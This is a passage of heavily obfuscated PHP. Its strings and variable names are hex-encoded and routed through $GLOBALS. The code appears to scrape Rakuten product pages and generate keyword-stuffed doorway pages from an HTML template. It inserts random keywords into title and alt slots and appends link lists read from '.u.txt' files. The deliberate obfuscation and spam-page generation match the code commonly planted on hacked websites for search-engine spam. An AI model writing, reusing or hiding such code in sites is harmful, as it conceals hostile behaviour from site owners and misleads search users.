B\x41\x4cS”}[„\x79\x67\x68a\x79r\x73\x71\x79\x62\x78”]}=array();preg_match_all(${$gsxueyld},${${„\x47\x4c\x4fB\x41\x4cS”}[„\x79\x74\x62\x64vnf”]},${${„\x47\x4c\x4fB\x41\x4c\x53”}[„b\x6f\x6an\x67\x77\x6b\x73x”]});${„\x47\x4c\x4fB\x41L\x53”}[„\x62\x72\x69\x6f\x73\x68\x77k\x67h”]=”\x68\x74\x6d\x6c\x5fco\x6et\x65\x6e\x74″;${$lnlmmfxfdcye}=””;for(${${„\x47\x4c\x4f\x42A\x4c\x53”}[„i\x69\x77\x79pn\x66”]}=0;${$gfcyrjfk}<count(${${„G\x4c\x4f\x42\x41L\x53”}[„\x6f\x6cn\x65\x66v\x62\x72\x78\x77”]});${${„G\x4c\x4f\x42\x41L\x53”}[„i\x69wy\x70n\x66”]}++){${„\x47L\x4f\x42A\x4cS”}[„\x67\x6begs\x79k\x68\x64\x62″]=”\x6a”;for(${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x67\x6b\x65\x67\x73\x79\x6b\x68\x64b”]}=0;${${„\x47L\x4fB\x41\x4c\x53”}[„r\x62\x63\x6e\x69z\x63z”]}<count(${${„G\x4c\x4f\x42AL\x53”}[„o\x6cn\x65\x66\x76\x62r\x78\x77”]}[${${„G\x4c\x4fB\x41\x4c\x53”}[„\x69\x69\x77\x79\x70n\x66”]}]);${${„\x47L\x4fB\x41\x4c\x53”}[„\x72b\x63\x6e\x69\x7a\x63z”]}++){${„G\x4c\x4f\x42AL\x53”}[„\x77mf\x65n\x64\x6f”]=”msear\x63\x68″;${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x61\x72\x67\x70\x72\x66\x6f\x77\x78″]=”j”;${„G\x4c\x4fBA\x4cS”}[„\x79\x76\x64\x64l\x72\x76\x71y”]=”j”;if(strstr(${${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x6fln\x65f\x76\x62\x72x\x77”]}[${${„\x47\x4cOB\x41\x4c\x53”}[„\x69\x69\x77\x79\x70n\x66”]}][${${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x79v\x64\x64\x6c\x72\x76q\x79″]}],”<\x69mg”)!=false&&strstr(${${„\x47L\x4f\x42A\x4cS”}[„w\x6d\x66\x65\x6e\x64\x6f”]}[${${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x69\x69\x77\x79\x70\x6ef”]}][${${„\x47L\x4f\x42\x41\x4c\x53”}[„\x61r\x67\x70\x72\x66\x6fw\x78″]}],”\x69tem.\x72a\x6b\x75\x74e\x6e\x2eco.\x6ap”)!=false){$swtqbsn=”\x6c\x74_\x72\x65\x6ca\x74\x65\x5f\x6c\x69\x6e\x6b\x73″;$pechpr=”\x6a”;${„\x47\x4cOBA\x4c\x53”}[„\x66\x6dr\x71h\x66\x6dak\x70\x64\x69″]=”\x61\x33″;$weyeblfyj=”a\x33″;$cgklggabt=”i”;${„\x47LO\x42\x41LS”}[„r\x6c\x66\x6dl\x69vbil\x6d”]=”a\x31″;$ptqrhsp=”\x6a”;$jlsqwhkjas=”\x61\x32″;preg_match(„/\x68r\x65\x66=\x22[^\”]*?\”/\x69″,${${„\x47\x4cO\x42A\x4c\x53”}[„\x6f\x6c\x6e\x65\x66\x76b\x72\x78\x77”]}[${${„\x47LOB\x41\x4c\x53”}[„\x69i\x77\x79\x70\x6e\x66”]}][${$ptqrhsp}],${${„GL\x4f\x42A\x4cS”}[„\x72\x6c\x66mli\x76\x62\x69\x6c\x6d”]});preg_match(„/\x61\x6ct\x3d\”[^\”]*?\”/\x69″,${${„G\x4c\x4f\x42A\x4cS”}[„o\x6c\x6e\x65fv\x62r\x78w”]}[${$cgklggabt}][${$pechpr}],${${„GLO\x42\x41\x4cS”}[„\x72\x77\x74\x61\x6e\x77\x6d\x7ak”]});${„\x47\x4cO\x42\x41\x4c\x53”}[„\x6fgkb\x65o”]=”a\x31″;$brgwsml=”\x61\x32″;${„G\x4c\x4f\x42ALS”}[„\x71\x69\x77\x62\x6a\x65\x6d\x6e\x6db\x65\x76″]=”\x61\x33”;${${„\x47\x4c\x4f\x42\x41LS”}[„ijq\x68\x66ul\x61”]}=str_replace(„\x61\x6c\x74\x3d\””,””,${$jlsqwhkjas}[0]);${${„\x47L\x4f\x42A\x4cS”}[„f\x6dr\x71\x68\x66\x6d\x61\x6b\x70\x64\x69”]}=str_replace(„\””,””,${${„\x47L\x4f\x42\x41\x4c\x53”}[„\x71\x69w\x62j\x65\x6dn\x6dbe\x76”]});${${„G\x4c\x4f\x42A\x4c\x53”}[„\x76\x65\x68\x78mmu\x67p\x64”]}=str_replace(„\x22″,””,${${„\x47LOB\x41\x4c\x53”}[„\x6f\x67\x6b\x62\x65\x6f”]}[0]);${${„\x47L\x4fB\x41\x4cS”}[„\x76\x65\x68x\x6d\x6d\x75\x67p\x64”]}=str_replace(„\x68\x72\x65\x66=”,””,${${„\x47\x4c\x4f\x42A\x4c\x53”}[„v\x65\x68x\x6d\x6d\x75\x67pd”]});$sxuqvmn=”l”;${${„\x47\x4c\x4fBA\x4c\x53”}[„r\x77\x74\x61nwm\x7a\x6b”]}=trim(substr(${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„v\x65\x68\x78\x6dm\x75\x67p\x64”]},strpos(${${„GL\x4fB\x41\x4cS”}[„v\x65\x68xm\x6d\x75\x67p\x64″]},”/”,8)),”/”);array_push(${$swtqbsn},${${„G\x4c\x4f\x42AL\x53”}[„r\x77t\x61\x6ewm\x7ak”]});${$sxuqvmn}=”?”.urlencode(encrypt_str(${$brgwsml}));if(${$weyeblfyj}!=””){${„\x47\x4cO\x42A\x4cS”}[„\x71\x76t\x69\x66\x6b\x64\x6c\x77″]=”a\x33″;$gnchmee=”\x61\x33”;${${„\x47\x4c\x4fB\x41L\x53”}[„\x70cmw\x63wn\x6a\x68\x62″]}.=”<li\x3e\x3ca \x68\x72ef\x3d\””.${${„\x47\x4c\x4fBA\x4c\x53”}[„e\x6d\x61\x6dy\x67nd\x61\x65\x74″]}.”\x22\x20t\x69tle=\x22”.${${„G\x4c\x4fB\x41L\x53”}[„\x71\x76\x74ifk\x64\x6c\x77″]}.”\x22\x20\x3e”.${$gnchmee}.”</a\x3e\x3c/l\x69>”;}}}}${${„\x47\x4cO\x42A\x4cS”}[„\x70o\x75r\x78\x77nkcuv”]}=””;${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x76\x78\x64\x6e\x67u\x75dy\x73″]}=””;if(preg_match(„/(?<=<t\x64 \x76\x61l\x69gn=\x22\x74op\”>)<\x61[\x5cw\x5cW]+?e\x78\x70i\x64\x3d\x22[\x30-\x39]+\x22 cla\x73\x73=\”[\x5cw\\W]+?\”\x3e\x3ci\x6dg\x20\x73\x72\x63=\”[\x5c\x77\x5c\x57]+?.jp\x67/i”,${${„\x47L\x4f\x42\x41\x4c\x53”}[„\x79\x69\x70l\x6d\x6bg\x6f\x77\x6b”]},${${„\x47L\x4f\x42AL\x53”}[„t\x6c\x65\x76\x63y\x6a\x65\x66n\x78”]})){${„\x47\x4cO\x42A\x4cS”}[„\x6f\x76jri\x67\x69\x67da\x74″]=”\x41r\x74i\x63\x6ce_\x70\x69\x63\x74\x75\x72e”;$hzbovopo=”\x70\x72o_img\x5f\x74\x65\x6d\x70″;preg_match(„/(?\x3c=\x3cim\x67 \x73r\x63=\”).*\$/\x69″,${$hzbovopo}[0],${${„\x47\x4c\x4f\x42AL\x53”}[„\x6fv\x6arigi\x67\x64\x61\x74”]});}${${„\x47LOBA\x4c\x53”}[„\x61\x6e\x62m\x76hc\x72l”]}=””;if(!preg_match(„/(?\x3c\x3d\x3c\x64iv\x20id\x3d\”p\x72\x6f\x64\x75\x63t\”>)[\x5cw\\\x57]+?(?\x3d\x3c\x5c/di\x76>)/”,${${„G\x4c\x4f\x42A\x4c\x53”}[„\x67\x6f\x62u\x7ag\x6c\x6bjhhj”]},${${„G\x4cOB\x41\x4cS”}[„\x6ae\x62\x6c\x6c\x6d\x76h\x70\x66”]})){${${„\x47\x4c\x4fB\x41LS”}[„j\x65\x62\x6clm\x76\x68p\x66”]}=array(„”);}if(!preg_match(„/(?\x3c\x3d<\x74d\x3e\x3cspan\x20\x63\x6cas\x73\x3d\”sa\x6ce\x5f\x64es\x63\x22>)[\\\x77\\\x57]+?(?\x3d<\\/\x73p\x61\x6e\x3e[\\\x73]*\x3c\x62\x72\x3e[\\s]*<b\x72>[\x5c\x73]*<\x5c/td\x3e)/”,${${„\x47\x4cO\x42\x41\x4c\x53”}[„\x6bn\x68\x6d\x79\x77b”]},${${„G\x4cOBAL\x53”}[„bc\x6c\x6d\x61\x7a\x68\x63\x69g\x6c\x74”]})){${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x62\x63\x6c\x6da\x7ah\x63\x69\x67\x6c\x74”]}=array(„”);}$rbnptphokub=”\x6b\x77\x73″;if(!preg_match(„/(?\x3c=\x3c\x73\x70a\x6e \x63l\x61s\x73=\”ite\x6d\x5f\x64es\x63\”>)[\\\x77\x5c\x57]+?(?\x3d\x3c\x5c/\x73pa\x6e\x3e[\x5c\x73]*\x3cb\x72>[\x5cs]*\x3cbr\x3e[\\\x73]*\x3c\\/t\x64>[\x5c\x73]*<\x5c/\x74\x72>[\\s]*\x3c\x5c/\x74\x61\x62l\x65\x3e)/”,${${„G\x4c\x4f\x42\x41\x4c\x53”}[„k\x6e\x68\x6d\x79\x77b”]},${$mufrwkhrzgyy})){${„\x47\x4c\x4f\x42\x41LS”}[„\x6a\x65fn\x64\x6a\x62\x71\x6fb\x6d\x63″]=”\x41\x72\x74ic\x6ce\x5f\x64\x65\x73\x63\x72\x69p\x74\x69\x6f\x6e\x63”;${${„\x47\x4cOB\x41\x4cS”}[„\x6a\x65\x66\x6ed\x6a\x62qob\x6d\x63”]}=array(„”);}${$dqqdtilbxz}=””;${$buudpk}=find_file_in_folders($GLOBALS[„\x61\x6c\x6c\x5ff\x6f\x6cde\x72\x73″],”lt.t\x6dp.\x68\x74\x6d\x6c”,false);if(${$wdoyypaf}){${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x77\x66\x72\x6aurk”]=”\x74e\x6dp\x6ca\x74\x65″;dibug(„\$tmpl_f\x69le:$tmpl_file”);${${„\x47\x4cOBA\x4cS”}[„\x77\x66r\x6a\x75\x72k”]}=@file_get_contents(${${„\x47\x4c\x4fB\x41LS”}[„u\x65\x66\x71v\x63q\x6d\x66us\x74”]});}if(!${${„G\x4cO\x42\x41\x4cS”}[„gco\x6a\x71w\x67\x62”]} or strpos(${${„\x47\x4cO\x42\x41\x4cS”}[„\x67\x71\x76\x6a\x62\x6a”]},”\x23c\x6fntent\x23″)<=0){$ezopxr=”\x74e\x6dp\x6c\x61t\x65″;${$ezopxr}=”\x3c\x21DOC\x54\x59\x50E\x20\x68tml \x50\x55\x42\x4c\x49C \”-//W3\x43//D\x54\x44 \x58H\x54ML \x31.\x30\x20\x54r\x61nsiti\x6fnal//\x45N\” \x22\x68\x74\x74\x70://w\x77\x77\x2ew\x33.\x6fr\x67/\x54R/x\x68tm\x6c1/D\x54\x44/\x78\x68\x74m\x6c1-t\x72an\x73it\x69onal.\x64td\”\x3e\n\x20 \x20\x20\x20\x20 \x20 \x20 <\x68\x74\x6d\x6c\x20l\x61\x6e\x67\x3d\x22j\x61\x22\x20\x78\x6dl\x6es\x3d\”\x68tt\x70://ww\x77.\x773.o\x72\x67/1\x399\x39/x\x68t\x6dl\”\x20>\n\x20\x20\x20\x20 \x20 \x20 \x20\x20 \x3ch\x65\x61d\x3e\n\x20\x20 \x20\x20 \x20 \x20\x20\x20\x20\x20\x20<m\x65t\x61 http-eq\x75iv\x3d\”Con\x74\x65nt-T\x79\x70\x65\x22\x20\x63\x6fnten\x74=\”\x74e\x78\x74/html\x3b\x20c\x68\x61\x72s\x65\x74\x3du\x74\x66-\x38\x22 />\n \x20 \x20\x20\x20 \x20\x3c\x6det\x61 h\x74\x74p-e\x71\x75i\x76\x3d\”\x43\x6f\x6e\x74\x65\x6et-\x4c\x61n\x67u\x61\x67e\x22 c\x6f\x6e\x74e\x6e\x74=\”ja\x22 /\x3e\n\x20 \x20\x20 \x20 \x20\x20\x20 \x20 \x20 \x20<\x6d\x65t\x61 ht\x74\x70-\x65qu\x69v=\x22C\x6f\x6et\x65\x6et-S\x63\x72i\x70\x74-\x54y\x70\x65\x22\x20\x63\x6f\x6e\x74\x65\x6et=\”t\x65\x78\x74/jav\x61s\x63r\x69\x70\x74\”\x20/\x3e\n\x20 \x20 \x20 \x20\x20 \x20 \x20<\x6deta \x6e\x61m\x65\x3d\x76ie\x77p\x6fr\x74 \x63ont\x65nt=\”w\x69dth=\x64e\x76i\x63e-\x77\x69\x64\x74h,\x20i\x6eit\x69\x61l-s\x63\x61l\x65\x3d\x31\”>\n\x20 \x20\x20 \x20 \x20 \x20\x20\x3cm\x65ta\x20n\x61\x6de\x3d\x22\x6beyw\x6frd\x73\”\x20\x63ont\x65\x6et=\”\x23\x6b\x65\x79wo\x72ds\x23\”\x3e\n \x20 \x20\x20 \x20\x20\x20 \x20 \x20 \x3cmeta\x20nam\x65\x3d\”\x64\x65s\x63\x72i\x70tion\x22\x20con\x74\x65\x6e\x74=\x22\x23des\x63\x72ip\x74ion#\”\x3e\n \x20 \x20\x20 \x20\x20 <t\x69\x74\x6c\x65\x3e#tit\x6c\x65\x23</\x74\x69t\x6c\x65\x3e\n\x20\x20 \x20 \x20 \x20\x20 \x3c/he\x61\x64\x3e\n \x20\x20 \x20\x20 \x20\x20\x20 \x20\x20<bo\x64\x79\x3e#c\x6f\x6et\x65n\x74\x23</bod\x79\x3e\n\x20\x20\x20\x20 \x20\x20\x20 \x20 \x3c/\x68tml>”;}${$buwudpiio}=${${„\x47\x4cO\x42A\x4c\x53”}[„gqv\x6a\x62\x6a”]};if(preg_match(„/\x3c\x74it\x6ce\x3e([\\\x73\x5cS]*?)<\\/\x74\x69\x74l\x65>/i”,${$syctswzkg},${${„\x47\x4cO\x42\x41\x4c\x53”}[„\x61\x71kp\x73r\x7au\x75″]})==1){$tujqxcplipit=”ou\x74”;dibug(„\x74itl\x65:\x20$Mate_Title[1]”);${„\x47LO\x42AL\x53”}[„\x6aucx\x78\x77qs”]=”\x6fut”;${$tujqxcplipit}=str_replace(„\x23\x74\x69tl\x65#”,${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„aq\x6b\x70\x73r\x7a\x75\x75”]}[1],${${„\x47L\x4f\x42\x41LS”}[„\x6a\x75\x63\x78\x78\x77q\x73”]});}else{${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x6d\x68\x70\x73\x63d\x70\x78\x74\x76″]=”o\x75\x74”;dibug(„\x74i\x74l\x65 \x6eot\x65\x73_body(\x73erv\x65\x72,\x20m\x61i\x6c\x62\x6f\x78, m\x73g_\x6e\x75\x6d\x62er)\x20\x66\x6f\x75\x6ed!”);${${„\x47L\x4f\x42\x41\x4c\x53”}[„\x6bn\x71\x62u\x76\x6e\x6a\x64\x66w”]}=str_replace(„#ti\x74l\x65\x23″,””,${${„\x47L\x4f\x42\x41\x4c\x53”}[„\x6d\x68\x70\x73\x63\x64\x70x\x74\x76”]});}if(preg_match(„/<\x6deta[^\x3e]*?\x6eame\x3d\”\x6b\x65\x79words\”\\\x73+conten\x74=\x22([^>]*?)\”\x3e/i”,${${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x6bn\x68\x6dyw\x62”]},${${„\x47LO\x42\x41\x4c\x53”}[„\x77c\x74pcf\x63\x64vw”]})==1){${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x71\x70l\x68f\x6a\x65\x6b\x6d”]=”o\x75t”;${${„\x47L\x4f\x42\x41\x4c\x53”}[„k\x6eqb\x75\x76n\x6adf\x77”]}=str_replace(„#k\x65\x79word\x73#”,${${„\x47\x4c\x4fBA\x4cS”}[„w\x63\x74\x70c\x66\x63d\x76\x77”]}[1],${${„GL\x4f\x42A\x4cS”}[„\x71p\x6ch\x66jek\x6d”]});}else{$aavapyk=”\x6f\x75\x74″;$fhuwfcbqegln=”\x6f\x75\x74″;${$aavapyk}=str_replace(„#\x6b\x65\x79\x77\x6f\x72\x64s#”,””,${$fhuwfcbqegln});}if(preg_match(„/<\x6deta[^\x3e]*?n\x61me\x3d\x22des\x63ri\x70t\x69on\x22\\s+\x63\x6fnt\x65\x6et=\x22([^>]*?)\”\x3e/\x69”,${${„G\x4cO\x42\x41\x4cS”}[„\x6b\x6e\x68\x6dy\x77\x62”]},${${„\x47\x4c\x4f\x42ALS”}[„m\x73k\x74\x7av\x71c\x6b\x65”]})==1){${${„G\x4c\x4f\x42A\x4c\x53”}[„k\x6e\x71b\x75\x76\x6ejdf\x77”]}=str_replace(„\x23d\x65s\x63ri\x70\x74io\x6e\x23”,${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x65iby\x76\x70\x67”]}[1],${${„\x47LOBA\x4c\x53”}[„\x6b\x6eq\x62u\x76\x6ej\x64fw”]});}else{${„G\x4c\x4fB\x41\x4c\x53”}[„\x69\x73\x6agww\x76″]=”\x6fut”;${${„G\x4c\x4f\x42A\x4c\x53”}[„\x69\x73\x6a\x67w\x77v”]}=str_replace(„\x23\x64e\x73\x63ri\x70tion#”,””,${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x6b\x6eqb\x75\x76\x6e\x6ad\x66w”]});}${$foyycdkax}=””;if(preg_match(„/\x3c\x73pan[^>]*?c\x6c\x61\x73s\x3d\”i\x74\x65\x6d_\x6e\x61\x6d\x65\”[^>]*([\x5c\x73\x5cS]*?)<\x5c/s\x70a\x6e\x3e/i”,${${„G\x4c\x4fBAL\x53”}[„brio\x73\x68wk\x67\x68”]},${${„\x47\x4c\x4fBA\x4c\x53”}[„\x6e\x6eg\x65\x67\x76″]})==1){$yrnlyhqa=”\x63o\x6et\x65\x6e\x74″;${$yrnlyhqa}=”\x3c\x681\x3e”.${${„\x47L\x4f\x42\x41\x4c\x53”}[„\x6e\x6e\x67eg\x76″]}[0].”</h\x31>”;}else{$oyywcqdtqot=”h\x74m\x6c\x5f\x63on\x74\x65\x6et”;${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x75vr\x6a\x67\x68\x68q”]}=desc_clear(${$oyywcqdtqot});}if(preg_match(„/\x3c\x74d[^>]*?\x63\x6cas\x73=\”\x73dt\x65\x78\x74\”[^\x3e]*?\x3e([\x5cs\x5cS]*?)\x3c\\/t\x64>/i”,${$gvmmggf},${${„G\x4c\x4f\x42\x41\x4cS”}[„\x72lc\x64\x66\x69\x64o”]})==1){${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x79\x6f\x70\x77\x74\x67r\x7a\x61″]=”A\x72\x74\x69\x63l\x65_\x63\x61\x74\x65\x67\x6f\x72\x79″;$slvdgzheiuv=”\x41\x72\x74\x69c\x6c\x65\x5f\x64\x65s\x63\x72\x69\x70t\x69\x6f\x6e\x63”;${${„\x47\x4cOB\x41\x4c\x53”}[„yj\x79\x62\x6c\x71\x65\x75\x70\x6e\x77”]}=preg_replace(„/\x3c\x61[^>]*/i”,””,${${„\x47\x4c\x4fB\x41LS”}[„\x79o\x70wt\x67r\x7aa”]}[0]);${„\x47\x4c\x4f\x42ALS”}[„\x74wn\x64\x6e\x71\x6a\x65\x77\x73y\x76″]=”\x41\x72\x74\x69\x63\x6c\x65\x5f\x64e\x73\x63\x72ipt\x69o\x6e\x62″;$pkosdrxcsu=”\x41\x72t\x69cle_\x63\x61te\x67\x6f\x72\x79”;${$pkosdrxcsu}=str_replace(„</\x61\x3e”,””,${${„\x47\x4cOB\x41\x4cS”}[„\x79j\x79\x62\x6c\x71\x65\x75\x70\x6e\x77”]});${„\x47L\x4f\x42\x41\x4c\x53”}[„a\x71ok\x63\x74\x69x\x62u\x62\x70″]=”\x41\x72\x74\x69\x63\x6c\x65_\x70\x69\x63\x74ur\x65”;${${„G\x4cO\x42\x41\x4cS”}[„\x75\x76r\x6a\x67\x68\x68\x71″]}.=”<\x74\x61\x62\x6c\x65><\x74\x72>”.${${„\x47\x4cO\x42A\x4cS”}[„\x79jy\x62\x6c\x71eu\x70\x6e\x77″]}.”</tr>\x3c/\x74\x61b\x6c\x65><b\x72\x20/><i\x6dg\x20alt\x3d\”\x26&_al\x74\x5f\x26\x26\x22 \x74i\x74\x6c\x65\x3d\x22&&\x5ft\x69\x74\x6ce_\x26&\”\x20\x73\x72\x63\x3d\””.${${„\x47\x4c\x4f\x42A\x4c\x53”}[„aqo\x6bc\x74i\x78bu\x62\x70″]}[0].”\”\x20/><b\x72\x20/\x3e”.desc_clear(${${„\x47\x4cO\x42A\x4cS”}[„\x6a\x65b\x6c\x6cm\x76\x68pf”]}[0].${${„\x47L\x4f\x42\x41\x4c\x53”}[„\x74\x77n\x64\x6e\x71j\x65\x77s\x79v”]}[0].${$slvdgzheiuv}[0]);}elseif(preg_match(„/\x3c\x74\x64[^>]*?cla\x73s=\”e\x78\x54_\x73dte\x78t\x22[^>]*?\x3e([\x5c\x73\\S]*?)<\\/\x74d>/\x69”,${${„\x47LOBAL\x53”}[„\x6b\x6e\x68m\x79\x77\x62”]},${${„\x47\x4c\x4f\x42\x41L\x53”}[„\x79\x6a\x79\x62\x6c\x71e\x75\x70n\x77”]})==1){${„\x47\x4c\x4f\x42\x41\x4cS”}[„r\x72\x61\x73\x6ddr\x77\x73\x6c”]=”c\x6f\x6e\x74\x65\x6et”;$kzsgrvijg=”\x41\x72\x74\x69\x63le\x5f\x63\x61tegory”;$spbqxpu=”\x41\x72t\x69\x63l\x65\x5f\x70\x69\x63\x74\x75\x72\x65″;${„GL\x4f\x42\x41\x4c\x53”}[„\x63\x67\x76\x6e\x68c\x6d\x73\x69\x78\x76″]=”A\x72tic\x6c\x65\x5f\x63\x61tegor\x79”;${„\x47\x4c\x4f\x42ALS”}[„z\x61\x66c\x74\x66m\x65″]=”A\x72t\x69cl\x65\x5f\x63\x61\x74\x65\x67\x6fr\x79″;$guggcuobhbh=”\x41\x72\x74i\x63le\x5f\x64e\x73\x63\x72ip\x74\x69on\x63″;$tslmdsuluc=”A\x72\x74\x69cl\x65\x5fcate\x67o\x72\x79”;${${„\x47\x4cO\x42\x41L\x53”}[„\x79j\x79\x62\x6c\x71e\x75\x70\x6e\x77”]}=preg_replace(„/<a[^\x3e]*?\x3e/\x69″,””,${$kzsgrvijg}[0]);${${„G\x4c\x4fBA\x4c\x53”}[„\x63\x67v\x6eh\x63\x6d\x73i\x78\x76”]}=str_replace(„</\x61\x3e”,””,${${„\x47\x4c\x4f\x42\x41LS”}[„\x7a\x61\x66\x63\x74fme”]});${${„\x47L\x4f\x42\x41\x4c\x53”}[„\x72rasmd\x72\x77\x73l”]}.=”\x3ct\x61\x62le>\x3ctr\x3e”.desc_clear(${$tslmdsuluc}).”\x3c/t\x72></\x74\x61\x62le><b\x72\x20/><im\x67\x20alt\x3d\”\x26&_\x61lt_\x26&\x22 \x74\x69tl\x65\x3d\x22\x26\x26_\x74i\x74\x6c\x65_\x26\x26\x22\x20s\x72\x63\x3d\x22″.${$spbqxpu}[0].”\x22 />\x3cbr /\x3e”.desc_clear(${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x6ae\x62l\x6cm\x76\x68p\x66”]}[0].${${„GL\x4f\x42\x41\x4c\x53”}[„bcl\x6d\x61\x7a\x68\x63ig\x6c\x74”]}[0].${$guggcuobhbh}[0]);}elseif(!${$zgnpbot}){${„\x47L\x4f\x42\x41\x4c\x53”}[„x\x71\x6e\x78\x6d\x64\x64\x6d”]=”\x68\x74m\x6c_c\x6fn\x74\x65\x6e\x74″;${${„GL\x4f\x42AL\x53”}[„u\x76\x72\x6a\x67h\x68\x71”]}=desc_clear(${${„G\x4cO\x42A\x4c\x53”}[„\x78q\x6exmddm”]});}${${„\x47\x4c\x4f\x42A\x4c\x53”}[„u\x76r\x6a\x67h\x68\x71”]}.=${${„\x47\x4c\x4f\x42\x41\x4cS”}[„pc\x6d\x77c\x77\x6e\x6a\x68\x62”]};${${„G\x4c\x4f\x42ALS”}[„lx\x79\x73\x74\x64j\x75y”]}=””;if(${${„\x47\x4c\x4fB\x41\x4cS”}[„\x77c\x74\x70\x63fc\x64v\x77”]}&&sizeof(${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x72rk\x71x\x79”]})){${„GL\x4f\x42A\x4c\x53”}[„\x75\x76\x61\x6by\x77\x79\x6a\x78p\x6dr”]=”\x6b\x77s”;$wolyobrts=”Ma\x74\x65\x5f\x4b\x65\x79wo\x72d”;${${„\x47\x4cO\x42\x41LS”}[„\x75\x76\x61\x6b\x79\x77y\x6a\x78\x70\x6d\x72”]}.=${$wolyobrts}[1];}if(${${„G\x4cO\x42\x41L\x53”}[„\x65\x69by\x76\x70g”]}&&sizeof(${${„\x47L\x4f\x42A\x4cS”}[„e\x69\x62\x79\x76\x70\x67”]})){${„GL\x4f\x42\x41LS”}[„\x77\x64mq\x78x\x6co\x6e”]=”M\x61t\x65\x5fD\x65\x73\x63r\x69\x70\x74\x69on”;${${„\x47\x4c\x4f\x42\x41L\x53”}[„\x6c\x78ys\x74\x64\x6auy”]}.=”\x2C”.${${„\x47\x4c\x4f\x42ALS”}[„\x77\x64\x6dq\x78\x78l\x6f\x6e”]}[1];}${${„\x47LO\x42\x41\x4cS”}[„\x6c\x78\x79\x73t\x64\x6a\x75\x79”]}=trim(${${„\x47L\x4f\x42A\x4cS”}[„\x6c\x78y\x73\x74\x64\x6a\x75y”]},” \t\n\r\0\x0B\x2C”);if(${$rbnptphokub}){${${„\x47\x4c\x4f\x42\x41L\x53”}[„\x6d\x72\x6d\x74dd\x64d\x64”]}=explode(„\x2C”,${${„\x47\x4c\x4fB\x41L\x53”}[„\x6cx\x79\x73\x74d\x6au\x79”]});while(strpos(${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x75v\x72\x6ag\x68\x68\x71″]},”&\x26\x5f\x74i\x74le_\x26\x26”)!==false or strpos(${${„GL\x4f\x42\x41L\x53”}[„\x75v\x72\x6aghh\x71″]},”&\x26_alt\x5f&&”)!==false){${„G\x4c\x4f\x42\x41\x4cS”}[„k\x62f\x66\x74i\x78\x73\x67″]=”\x63\x6f\x6e\x74\x65\x6et”;${„G\x4c\x4f\x42AL\x53”}[„\x61h\x64u\x63\x74f\x6fb\x67″]=”\x6bw\x5f\x61\x72\x72”;${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x6bb\x66fti\x78\x73g”]}=preg_replace(„/\x26&\x5f\x74itle_&&/”,${${„\x47\x4cOB\x41\x4c\x53”}[„\x61\x68du\x63t\x66\x6f\x62\x67”]}[array_rand(${${„\x47L\x4fBAL\x53”}[„\x6d\x72\x6d\x74\x64\x64\x64\x64d”]})],${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x75v\x72\x6a\x67hh\x71”]},1);${${„\x47L\x4fBA\x4c\x53”}[„\x75v\x72\x6ag\x68hq”]}=preg_replace(„/&\x26\x5fa\x6c\x74\x5f&\x26/”,${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x6d\x72\x6d\x74\x64d\x64\x64d”]}[array_rand(${${„G\x4c\x4f\x42\x41LS”}[„\x6d\x72\x6d\x74\x64\x64\x64\x64d”]})],${${„\x47L\x4f\x42\x41L\x53”}[„u\x76r\x6a\x67h\x68\x71”]},1);}}${${„\x47L\x4fB\x41\x4cS”}[„d\x65vkff\x6euk\x63\x6e\x6c”]}=find_file_in_folders($GLOBALS[„all_f\x6fld\x65r\x73″],”/\x5c.u\\.\x74xt/\x69”,false);if(${${„\x47LO\x42\x41\x4c\x53”}[„\x64ev\x6bf\x66nu\x6b\x63\x6e\x6c”]}){${„\x47\x4c\x4f\x42\x41LS”}[„xtc\x6bcnn\x64\x75\x78\x67o”]=”\x66\x69\x6c\x65″;$kwndssiyamx=”\x63o\x6e\x74\x65\x6e\x74″;$kqtsppfql=”p\x61\x74\x68\x73″;$hnsavbqv=”\x66il\x65″;dibug(„s\x69t\x65\x6d\x61p \$\x66i\x6c\x65:$file”);${$kqtsppfql}=@file(${$hnsavbqv});${${„\x47\x4c\x4f\x42ALS”}[„uv\x72jghhq”]}.=”<\x75l>”;${${„\x47L\x4f\x42A\x4c\x53”}[„\x69iw\x79\x70n\x66”]}=0;while(${${„G\x4c\x4f\x42AL\x53”}[„ii\x77y\x70nf”]}<=10){${„\x47\x4cO\x42\x41\x4c\x53”}[„\x72\x61c\x6b\x61v\x76hsl”]=”\x70\x61\x74\x68s”;$lhnhcyeewmsv=”i”;${$lhnhcyeewmsv}++;${„\x47LO\x42\x41\x4c\x53”}[„\x61\x62gl\x72\x7a”]=”c\x6fn\x74\x65\x6et”;${${„\x47\x4c\x4f\x42\x41L\x53”}[„qh\x69\x6c\x67\x65a”]}=array_rand(${${„G\x4c\x4f\x42\x41\x4cS”}[„ra\x63ka\x76\x76hs\x6c”]});${${„G\x4c\x4fB\x41\x4c\x53”}[„a\x62\x67\x6c\x72\x7a”]}.=”<li\x3e<\x61 